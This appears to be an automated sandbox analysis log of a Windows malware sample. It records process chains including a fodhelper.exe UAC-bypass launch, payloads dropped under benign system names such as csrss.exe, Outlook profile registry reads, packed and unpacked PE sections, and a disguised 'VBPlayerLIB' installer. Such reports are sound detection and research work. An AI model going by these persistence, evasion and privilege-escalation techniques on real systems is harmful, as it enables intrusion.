Source: C:\Users\user\AppData\Local\Temp\B6AA.exe	Process created: C:\Users\user\AppData\Local\Temp\is-VIH3T.tmp\B6AA.tmp "C:\Users\user\AppData\Local\Temp\is-VIH3T.tmp\B6AA.tmp" /SL5="$5046A,6713741,54272,C:\Users\user\AppData\Local\Temp\B6AA.exe"
Source: C:\Users\user\AppData\Local\Temp\B6AA.exe	Process created: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp "C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp" /SL5="$A0252,6713741,54272,C:\Users\user\AppData\Local\Temp\B6AA.exe" /SPAWNWND=$2047A /NOTIFYWND=$5046A
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" helpmsg 19
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Process created: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe "C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe" -i
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Process created: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe "C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe" -s
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"
Source: C:\Windows\System32\fodhelper.exe	Process created: C:\Users\user\AppData\Local\Temp\A0FE.exe "C:\Users\user\AppData\Local\Temp\A0FE.exe"
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 helpmsg 19
Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -nologo -noprofile
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 6092 -ip 6092
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6092 -s 664
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{603D3801-BD81-11d0-A3A5-00C04FD706EC}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: C:\Users\user\Desktop\3yPvcmrbqS.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: C:\A\18\s\PCbuild\amd64\select.pdb source: 7017.exe, 0000000C.00000003.2061052245.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 00000011.00000002.4136126212.00007FFE148E3000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: C:\A\18\s\PCbuild\amd64\_tkinter.pdb source: 7017.exe, 0000000C.00000003.2058035991.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: vcruntime140.amd64.pdbGCTL source: 7017.exe, 0000000C.00000003.2055788946.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: 7B24.exe, 0000000D.00000002.2378578170.0000000000FE6000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\A\18\s\PCbuild\amd64\_bz2.pdb source: 7017.exe, 0000000C.00000003.2056059422.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\18\s\PCbuild\amd64\_hashlib.pdb source: 7017.exe, 0000000C.00000003.2057378156.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\18\s\PCbuild\amd64\_ctypes.pdb source: 7017.exe, 00000011.00000002.4135293211.00007FFE13233000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: C:\A\18\s\PCbuild\amd64\_socket.pdb source: 7017.exe, 00000011.00000002.4134847201.00007FFE13209000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: C:\sorokekaluyi\jecoxi.pdb source: 5316.exe, 00000006.00000000.1979625213.00000000005CA000.00000002.00000001.01000000.00000006.sdmp, 5316.exe, 00000006.00000002.1989665599.00000000005CA000.00000002.00000001.01000000.00000006.sdmp, 5316.exe, 00000007.00000000.1988466543.00000000005CA000.00000002.00000001.01000000.00000006.sdmp, csrss.exe, 0000000E.00000002.2108729382.00000000005CA000.00000002.00000001.01000000.0000000C.sdmp, csrss.exe, 0000000E.00000000.2088483796.00000000005CA000.00000002.00000001.01000000.0000000C.sdmp, csrss.exe, 0000000F.00000000.2106660714.00000000005CA000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: vcruntime140.amd64.pdb source: 7017.exe, 0000000C.00000003.2055788946.0000018F826ED000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Unpacked PE file: 0.2.3yPvcmrbqS.exe.400000.0.unpack .text:ER;.data:W;.juv:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\uiedafw	Unpacked PE file: 3.2.uiedafw.400000.0.unpack .text:ER;.data:W;.juv:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Unpacked PE file: 13.2.7B24.exe.eb0000.0.unpack :ER; :R; :R;.idata:W;.rsrc:R;.themida:EW;.boot:ER; vs :ER; :R; :R;
Source: C:\Users\user\AppData\Local\Temp\8900.exe	Unpacked PE file: 16.2.8900.exe.400000.0.unpack .text:ER;.data:W;.kehi:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	Unpacked PE file: 18.2.A0FE.exe.400000.7.unpack .text:ER;.data:W;.lubavev:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.reloc:R;.symtab:R;
Source: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe	Unpacked PE file: 37.2.VBPlayerLIB.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R;.tcell:EW; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;
Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	Unpacked PE file: 39.2.A0FE.exe.400000.7.unpack .text:ER;.data:W;.lubavev:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.reloc:R;.symtab:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	Unpacked PE file: 18.2.A0FE.exe.400000.7.unpack
Source: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe	Unpacked PE file: 37.2.VBPlayerLIB.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	Unpacked PE file: 39.2.A0FE.exe.400000.7.unpack

Source: 7B24.exe.1.dr

Static PE information: 0xD4493ABC [Tue Nov 10 20:42:36 2082 UTC]

Source: C:\Users\user\AppData\Local\Temp\5316.exe

Code function: 7_2_0069D030 LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,

7_2_0069D030

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: is-JFGB9.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0x204aa
Source: B6AA.tmp.27.dr	Static PE information: real checksum: 0x0 should be: 0xb0a52
Source: is-CR8EU.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0x31782
Source: is-5TN1E.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0x346e7
Source: is-HVAMB.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0x6b1f
Source: is-J82TT.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0xf050f
Source: is-P8UR3.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0x7c1a
Source: is-CSBEI.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0xadc6
Source: is-B1464.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0xafcd5
Source: is-EPDGC.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0x5060
Source: is-JORN1.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0x4ac84
Source: is-96K1P.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0xcf45
Source: is-KNVFD.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0x17d41
Source: is-SKTK6.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0x10609
Source: _setup64.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0x8546
Source: is-HDCA4.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0x1fec7
Source: 5D69.dll.1.dr	Static PE information: real checksum: 0x0 should be: 0x242756
Source: _RegDLL.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0xc2b7
Source: is-PP906.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0xc979
Source: A0FE.exe.1.dr	Static PE information: real checksum: 0x43087d should be: 0x440db0
Source: is-P3O93.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0x22a56
Source: is-M81L8.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0x1f2f4
Source: B6AA.tmp.21.dr	Static PE information: real checksum: 0x0 should be: 0xb0a52
Source: is-KUQQ9.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0xc1c38
Source: 5828.exe.1.dr	Static PE information: real checksum: 0x95bb3 should be: 0x99433
Source: is-UBGUV.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0x5dc2c
Source: is-G9603.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0x127ab
Source: B6AA.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x6a781d
Source: _iscrypt.dll.28.dr	Static PE information: real checksum: 0x0 should be: 0x89d2
Source: is-T0T9V.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0x60b0b
Source: _isdecmp.dll.28.dr	Static PE information: real checksum: 0x0 should be: 0x123ff
Source: is-F0J9D.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0xb5c3
Source: is-M56K9.tmp.28.dr	Static PE information: real checksum: 0x0 should be: 0x2e339

Source: 3yPvcmrbqS.exe	Static PE information: section name: .juv
Source: 5828.exe.1.dr	Static PE information: section name: .nutrqz
Source: 8900.exe.1.dr	Static PE information: section name: .kehi
Source: 7B24.exe.1.dr	Static PE information: section name:
Source: 7B24.exe.1.dr	Static PE information: section name:
Source: 7B24.exe.1.dr	Static PE information: section name:
Source: 7B24.exe.1.dr	Static PE information: section name: .themida
Source: 7B24.exe.1.dr	Static PE information: section name: .boot
Source: A0FE.exe.1.dr	Static PE information: section name: .lubavev
Source: 5D69.dll.1.dr	Static PE information: section name: .code
Source: 7017.exe.1.dr	Static PE information: section name: _RDATA
Source: uiedafw.1.dr	Static PE information: section name: .juv
Source: wwedafw.1.dr	Static PE information: section name: .kehi
Source: VCRUNTIME140.dll.12.dr	Static PE information: section name: _RDATA
Source: libcrypto-1_1.dll.12.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.12.dr	Static PE information: section name: .00cfg
Source: VBPlayerLIB.exe.28.dr	Static PE information: section name: .tcell
Source: is-L236T.tmp.28.dr	Static PE information: section name: .eh_fram
Source: is-E62DC.tmp.28.dr	Static PE information: section name: /4
Source: is-J82TT.tmp.28.dr	Static PE information: section name: .trace
Source: is-J82TT.tmp.28.dr	Static PE information: section name: _RDATA
Source: is-J82TT.tmp.28.dr	Static PE information: section name: .debug_o
Source: is-D13DL.tmp.28.dr	Static PE information: section name: /4
Source: is-D13DL.tmp.28.dr	Static PE information: section name: /19
Source: is-D13DL.tmp.28.dr	Static PE information: section name: /31
Source: is-D13DL.tmp.28.dr	Static PE information: section name: /45
Source: is-D13DL.tmp.28.dr	Static PE information: section name: /57
Source: is-D13DL.tmp.28.dr	Static PE information: section name: /70
Source: is-D13DL.tmp.28.dr	Static PE information: section name: /81
Source: is-D13DL.tmp.28.dr	Static PE information: section name: /92
Source: is-BML8E.tmp.28.dr	Static PE information: section name: /4
Source: is-913NL.tmp.28.dr	Static PE information: section name: /4
Source: is-CEVH5.tmp.28.dr	Static PE information: section name: /4
Source: is-OBVGG.tmp.28.dr	Static PE information: section name: /4
Source: is-CMU2D.tmp.28.dr	Static PE information: section name: /4
Source: is-DJ7DE.tmp.28.dr	Static PE information: section name: /4
Source: is-373UE.tmp.28.dr	Static PE information: section name: /4
Source: is-UBGUV.tmp.28.dr	Static PE information: section name: .sxdata
Source: is-CDEOO.tmp.28.dr	Static PE information: section name: /4
Source: is-GNU2Q.tmp.28.dr	Static PE information: section name: /4
Source: is-QIL6S.tmp.28.dr	Static PE information: section name: /4
Source: is-JG7OO.tmp.28.dr	Static PE information: section name: /4
Source: is-DEO22.tmp.28.dr	Static PE information: section name: /4
Source: is-647AI.tmp.28.dr	Static PE information: section name: /4
Source: is-KUQQ9.tmp.28.dr	Static PE information: section name: .didata
Source: is-HDCA4.tmp.28.dr	Static PE information: section name:
Source: is-HDCA4.tmp.28.dr	Static PE information: section name:
Source: is-HDCA4.tmp.28.dr	Static PE information: section name: petite
Source: is-M56K9.tmp.28.dr	Static PE information: section name:
Source: is-M56K9.tmp.28.dr	Static PE information: section name:
Source: is-M56K9.tmp.28.dr	Static PE information: section name: petite
Source: is-HVAMB.tmp.28.dr	Static PE information: section name:
Source: is-HVAMB.tmp.28.dr	Static PE information: section name:
Source: is-HVAMB.tmp.28.dr	Static PE information: section name: petite
Source: is-L89CU.tmp.28.dr	Static PE information: section name:
Source: is-L89CU.tmp.28.dr	Static PE information: section name: petite
Source: is-P8UR3.tmp.28.dr	Static PE information: section name:
Source: is-P8UR3.tmp.28.dr	Static PE information: section name:
Source: is-P8UR3.tmp.28.dr	Static PE information: section name: petite
Source: is-SKTK6.tmp.28.dr	Static PE information: section name:
Source: is-SKTK6.tmp.28.dr	Static PE information: section name:
Source: is-SKTK6.tmp.28.dr	Static PE information: section name: petite
Source: is-3M1CR.tmp.28.dr	Static PE information: section name:
Source: is-3M1CR.tmp.28.dr	Static PE information: section name: petite
Source: is-EPDGC.tmp.28.dr	Static PE information: section name:
Source: is-EPDGC.tmp.28.dr	Static PE information: section name:
Source: is-EPDGC.tmp.28.dr	Static PE information: section name:
Source: is-JFGB9.tmp.28.dr	Static PE information: section name:
Source: is-JFGB9.tmp.28.dr	Static PE information: section name:
Source: is-JFGB9.tmp.28.dr	Static PE information: section name: petite
Source: is-G9603.tmp.28.dr	Static PE information: section name:
Source: is-G9603.tmp.28.dr	Static PE information: section name:
Source: is-G9603.tmp.28.dr	Static PE information: section name:
Source: is-KNVFD.tmp.28.dr	Static PE information: section name:
Source: is-KNVFD.tmp.28.dr	Static PE information: section name:
Source: is-KNVFD.tmp.28.dr	Static PE information: section name: petite
Source: is-PP906.tmp.28.dr	Static PE information: section name:
Source: is-PP906.tmp.28.dr	Static PE information: section name:
Source: is-PP906.tmp.28.dr	Static PE information: section name: petite
Source: is-F0J9D.tmp.28.dr	Static PE information: section name:
Source: is-F0J9D.tmp.28.dr	Static PE information: section name:
Source: is-F0J9D.tmp.28.dr	Static PE information: section name:
Source: is-96K1P.tmp.28.dr	Static PE information: section name:
Source: is-96K1P.tmp.28.dr	Static PE information: section name:
Source: is-96K1P.tmp.28.dr	Static PE information: section name: petite
Source: is-ED7G5.tmp.28.dr	Static PE information: section name: /4
Source: is-02PO8.tmp.28.dr	Static PE information: section name: /4
Source: is-D8Q6V.tmp.28.dr	Static PE information: section name: /4
Source: is-H05O1.tmp.28.dr	Static PE information: section name: /4
Source: is-CSBEI.tmp.28.dr	Static PE information: section name:
Source: is-CSBEI.tmp.28.dr	Static PE information: section name:
Source: is-CSBEI.tmp.28.dr	Static PE information: section name:
Source: is-SL4B2.tmp.28.dr	Static PE information: section name: /4
Source: is-0GFJH.tmp.28.dr	Static PE information: section name: .eh_fram
Source: is-JORN1.tmp.28.dr	Static PE information: section name: asmcode
Source: N75Bitscore.exe.37.dr	Static PE information: section name: .tcell

Source: C:\Windows\explorer.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\5D69.dll

Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_004014A1 push es; iretd	0_2_004014A3
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_004022A8 pushfd ; ret	0_2_004022C7
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_00422960 push ecx; mov dword ptr [esp], 00000004h	0_2_00422961
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_0040C105 push ecx; ret	0_2_0040C118
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_0252230F pushfd ; ret	0_2_0252232E
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_02521506 push es; iretd	0_2_0252150A
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_026E3264 push ss; iretd	0_2_026E326A
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_026DFEC2 push es; iretd	0_2_026DFEE2
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_026E6B05 push cs; iretd	0_2_026E6B07
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_026E09FD pushfd ; ret	0_2_026E0ADC
Source: C:\Users\user\Desktop\3yPvcmrbqS.exe	Code function: 0_2_026E03D8 push 8A1E29FAh; iretd	0_2_026E03DD
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_004014A1 push es; iretd	3_2_004014A3
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_004022A8 pushfd ; ret	3_2_004022C7
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_00422960 push ecx; mov dword ptr [esp], 00000004h	3_2_00422961
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_0040C105 push ecx; ret	3_2_0040C118
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_0253230F pushfd ; ret	3_2_0253232E
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_02531506 push es; iretd	3_2_0253150A
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_02576815 push cs; iretd	3_2_02576817
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_025700E8 push 8A1E29FAh; iretd	3_2_025700ED
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_02572F74 push ss; iretd	3_2_02572F7A
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_0257070D pushfd ; ret	3_2_025707EC
Source: C:\Users\user\AppData\Roaming\uiedafw	Code function: 3_2_0256FBD2 push es; iretd	3_2_0256FBF2
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Code function: 6_2_029B44BD push cs; ret	6_2_029B44BE
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Code function: 6_2_028C22EF push ebx; iretd	6_2_028C22F7
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Code function: 6_2_029B47F8 push edx; retf	6_2_029B47F9
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Code function: 6_2_0297C7ED push ebp; retf	6_2_0297C7EE
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Code function: 6_2_0291670A pushad ; ret	6_2_0291670C
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Code function: 6_2_0297C80A push 5A36841Dh; retf	6_2_0297C825
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Code function: 7_2_00696299 push ecx; ret	7_2_006962AC
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_004123B0 push eax; ret	8_2_004123C5
Source: C:\Users\user\AppData\Local\Temp\5828.exe	Code function: 8_2_00408991 push ecx; ret	8_2_004089A4

Source: initial sample	Static PE information: section name: .text entropy: 7.987918872609676
Source: initial sample	Static PE information: section name: entropy: 7.975012819920226
Source: initial sample	Static PE information: section name: .text entropy: 7.987918872609676
Source: initial sample	Static PE information: section name: .text entropy: 7.616759665077176
Source: initial sample	Static PE information: section name: entropy: 7.953893773659523
Source: initial sample	Static PE information: section name: entropy: 7.921519965168042
Source: initial sample	Static PE information: section name: entropy: 7.966771808365004
Source: initial sample	Static PE information: section name: entropy: 7.950928332152424
Source: initial sample	Static PE information: section name: entropy: 7.491817342209834
Source: initial sample	Static PE information: section name: .text entropy: 7.616759665077176

Persistence and Installation Behavior

Drops PE files with benign system names

Source: C:\Users\user\AppData\Local\Temp\5316.exe

File created: C:\ProgramData\Drivers\csrss.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\wavpackdll.dll (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\7B24.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7017.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI65762\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-L236T.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\7017.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-SL4B2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\utils.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-02PO8.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\libsoxr.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-5TN1E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-QIL6S.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-KNVFD.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bass_fx.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Users\user\AppData\Local\Temp\is-9TEF6.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-G9603.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\lame_enc.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-0GFJH.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\gain_analysis.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-PP906.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-UBGUV.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\rg_ebur128.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-M56K9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\dsd2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7017.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI65762\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\libdtsdec.dll (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\wwedafw	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-KUQQ9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-H05O1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\plugins\internal\peak_scanner_plugin_c.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-CR8EU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassdsd.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7017.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI65762\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\is-B1464.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\da.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\takdec.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7017.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI65762\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\plugins\internal\is-CDEOO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\libwebp.dll (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\uiedafw	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B6AA.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\B6AA.exe	File created: C:\Users\user\AppData\Local\Temp\is-VIH3T.tmp\B6AA.tmp	Jump to dropped file
